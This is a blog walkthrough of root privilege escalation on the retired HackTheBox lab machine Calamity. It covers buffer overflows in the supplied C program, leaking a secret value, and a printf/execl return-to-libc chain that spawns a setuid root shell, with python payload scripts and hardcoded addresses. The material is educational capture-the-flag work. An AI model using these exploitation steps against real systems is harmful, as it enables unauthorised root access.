HackTheBox: Calamity Privilege Escalation
Fri, Jan 19, 2018HackTheBox is a service that offers a lab environment of vulnerable machines for people interesting in pentesting.
Today I will cover the escalation of privileges from user to root on the retired machine Calamity
.
Debugging and Analyzing the Application
Upon logging onto the machine we are presented with an application and its source-code.
Before we analyze the binary, let’s have a look at what sort of protections we are dealing with.
ASLR is turned off on the box, so we will not have to deal with that.
Fortunately, the creator of the box has installed gdb-peda for us to help out with the exploitation.
To check protections we use the checksec
command in gdb-peda
As we can see NX (Non-eXecutable) / DEP (Data Execution Prevention) is enabled on this binary which means we will not be able to execute shellcode put directly on the stack. Luckily there is a technique often used to get around this protection which is called ROP (Return-Oriented Programming). More on this later.
Running the application first prompts us for a filename, then shows a menu of options.
To exploit this program we need to run the debug()
function which in the source is easily identified to be vulnerable (it even self-identifies as such…)
void debug() {
printf("\nthis function is problematic on purpose\n");
printf("\nI'm trying to test some things...and that means get control of the program! \n");
char vuln[64];
printf("vulnerable pointer is at %x\n", vuln);
printf("memory information on this binary:\n", vuln);
printmaps();
printf("\nFilename: ");
char fn[30];
scanf(" %28s", & fn);
flushit();
copy(fn,vuln,100);//this shall trigger a buffer overflow
return;
}
To call this function however, we need to pass a check that is executed when we try to “login as admin”.
else if (action == '3') {
attempt_login(hey.admin, protect, hey.secret);
}
void attempt_login(int shouldbezero, int safety1, int safety2) {
if (safety2 != safety1) {
printf("hackeeerrrr");
fflush(stdout);
exit(666);
}
if (shouldbezero == 0) {
printf("\naccess denied!\n");
fflush(stdout);
} else debug();
}
The three values hey.admin
, protect
and hey.secret
are initialized at the start of the program.
struct timeval tv;
gettimeofday( & tv, NULL);
int whoopsie=0;
int protect = tv.tv_usec |0x01010101;//I hate null bytes...still secure !
hey.secret = protect;
hey.session = sess;
hey.admin = 0;
The hey.secret
value is set to a time-generated value protect
and hey.admin
to 0.
To identify the initial important vulnerability in this program we have to look at the createusername()
function. This function is meant to edit the user variable in the hey
struct but has some unfortunate side-effects.
struct f {
char user[USIZE];
//int user;
int secret;
int admin;
int session;
}
hey;
The issue with this function is that it copies a 12 byte value into a 4 byte array. copy()
reads X bytes from a file into the location of a pointer. This is a classic buffer overflow.
#define USIZE 12
#define ISIZE 4
void createusername() {
//I think something's bad here
unsigned char for_user[ISIZE];
printf("\nFilename: ");
char fn[30];
scanf(" %28s", & fn);
flushit();
copy(fn, for_user,USIZE);
strncpy(hey.user,for_user,ISIZE+1);
hey.user[ISIZE+1]=0;
}
Let’s send a string of 12 A’s to the createusername() function and watch the hey
struct in memory.
It seems we have overwritten the first 5 bytes of the hey
struct with A’s (0x41) and have caused a segmentation fault. The crash happens because the attempt_login()
function is trying to resolve the location of the hey
struct in memory but we have also overwritten EBX
with 0x41414141. As seen below the location of hey
in memory is calculated as EBX + 0x68
.
Getting Code Execution
We now know that in theory if we could overwrite the location of the hey
struct passed to attempt_login()
we could pass it the location of hey.user
which would contain our 4 A’s immediately followed by another A. In attempt_login()
the protect
variable is checked against the integer stored at hey+0xC
and it is ensured that the admin
variable at hey+0x10
is 0.
What if we could change the location that was looked up in memory to make the program check against the user-supplied input instead? The only problem with this is that we would need to know the value of protect
in advance.
Luckily, the program has another functionality that prints the user.session
variable. By overwriting the location that it looks up we can have this function print the time-generated user.secret
variable instead. After this is printed we can again overwrite the location but this time we will set the user-supplied input to the timestamp and a non-0 byte.
To print the secret value, we need to subtract 8 bytes from the location of the hey
struct since the two variables are 8 bytes apart. We also subtract 0x68 since that is the relative offset added onto EBX
.
Value = 0x80003068 - 0x8 - 0x68 = 0x80002ff8
python -c 'print "A"*8 + "\xf8\x2f\x00\x80"' > /tmp/printsecret
If we pass this file to createusername()
and print the session ID, it will instead print the protect
variable.
And to confirm that it has indeed leaked the protect value.
Now the only thing left to do is to again overwrite the location to be read from, this time we will overwrite it so the value of hey.secret
and hey.admin
will instead become our user-supplied buffer. This location is found by subtracting 12 bytes from the location of the hey
struct since the secret is located at hey+0xC
and our “user-supplied secret” is at hey+0x0
.
Value = 0x80003068 - 0xC - 0x68 = 0x80002ff4
python -c 'print "<LEAKED ADDRESS> + "A"*4 + "\xf4\x2f\00\x80"' > /tmp/printdebug
Once the value of hey.secret
is the correct time-generated value, and the value of hey.admin
is not 0 we can “login as admin”.
Now we have finally entered the vulnerable debug()
as seen earlier. All we have to do now is send it a buffer and determine at exactly what offset the EIP is overwritten. To do this we can use a cyclic pattern created by Metasploits pattern_create.rb
and use this as input to the vulnerable function. Sure enough the program crashes at 0x63413563
which is offset 76 in the cyclic pattern.
We now have code execution!
Ropping our way to victory
The idea behind ROP is to use snippets of code already present in the binary or loaded modules. These snippets of code are referred to as gadgets. The trick and the reason the technique is called Return-Oriented Programming is that each of the gadgets will end in a ret instruction. This allows us to chain gadgets together to form valid calls to functions with the correct parameters. Often functions such as system() or execl() from the libc library can be used to spawn a shell if called with the right parameters.
This blogpost won’t go into great detail on ROP, but I can recommend the website RopEmporium if you are interested in learning more.
Since the binary is a setuid binary we cannot use system("/bin/sh")
to spawn a root shell. This is because setuid and setgid does not work properly with system(), from the manpage: “system() will not, in fact, work properly from programs with set-user-ID or set-group-ID privileges on systems on which /bin/sh is bash version 2”. For this reason we need to use execl()
instead. To simplify our life we will create a wrapper C program containing the following.
main() {
setuid(0);
execl("/bin/sh", "/bin/sh", 0);
}
Our mission is to have the program execute execl("/tmp/wrapper, "/tmp/wrapper", 0)
.
One apparent issue is that we need to pass a nullbyte as the third parameter to execl()
. To do this we will use a nifty feature of the printf()
function. If we pass the value %3$n
it will overwrite the 3rd argument with the amount of bytes written, which in our case will be 0.
Our buffer will therefore look like this.
A*76 | printf() | execl() | pointer to "%3$n" | pointer to "/tmp/wrapper" | pointer to "/tmp/wrapper" | pointer to Nullbyte
printf()
will execute and print a nullbyte to the third argument of printf which is the last part of our buffer “pointer to Nullbyte”. This pointer has to point to the location on the stack that the third argument of execl()
resides at. buffer address + 76 + (4*5)
(padding + 5 addresses of 4 bytes each). Again we’ve been helped along by the creator of the box, since we are given the buffer address once debug()
executes. If this weren’t the case it might have been possible to recompile the program on the target machine adding a printf()
to print out the address of the buffer. After printf()
finishes, it will return to execl()
and execute our shell.
We will be getting the addresses of the functions by using gdb-peda
’s print
.
The only thing missing is getting pointers to the strings we need, ”%3$n” and ”/tmp/wrapper”. For this we will use the environmental variables as they are always located on the stack. I will be making use of Fixenv which is a script to ensure that stack addresses are the same whether you’re running the binary with or without a debugger. This is helpful since gdb adds its own environmental variables and the addresses will be wrong once we run the exploit outside the debug environment. It can also be used to get the addresses of env variables. Let’s get started and resolve the addresses we need.
Once all the addresses are acquired, we write the buffer to a payload. We could do this in a one-liner as seen earlier but for readability here is a python script that makes it easier to understand.
import struct, sys
# ENVVAR fmt = "%3$n"
# ENVVAR wrapper = /tmp/wrapper
payload = "A"*76
payload += struct.pack("<I", 0xb7e63670) # Address of printf
payload += struct.pack("<I", 0xb7ecaa80) # Address of execl
payload += struct.pack("<I", 0xbffffea1) # Address of env fmt
payload += struct.pack("<I", 0xbfffff9f) # Address of env wrapper
payload += struct.pack("<I", 0xbfffff9f) # Address of env wrapper
payload += struct.pack("<I", 0xbffff640) # Address of arg3 (address of buffer (output by program) + 76 + (4*5))
sys.stdout.write(payload)
Now all there is left to do is run the program, leak the time-generated value. Overwrite the necessary values to enter the debug function. Once here specify the payload.
And sure enough, what we’ve all been waiting for…